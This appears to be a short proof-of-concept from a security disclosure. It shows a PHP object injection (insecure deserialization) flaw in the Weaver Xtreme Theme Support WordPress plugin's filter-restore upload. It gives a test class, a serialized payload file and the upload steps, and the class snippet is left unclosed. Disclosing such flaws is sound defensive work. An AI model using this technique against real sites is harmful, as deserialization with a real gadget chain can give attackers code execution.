To simulate a gadget chain, put the following code in a plugin:

class Test {
  public function __wakeup() : void {
    die("Arbitrary deserialization");

Create a file named "poc.txt" with the following content: O:4:"Test":0:{};

Upload the file via the "Choose File" feature in Weaver Xtreme Theme Support > Filters

Then choose Restore Filter Options.

The view the response of the request made, which will have the "Arbitrary deserialization" message.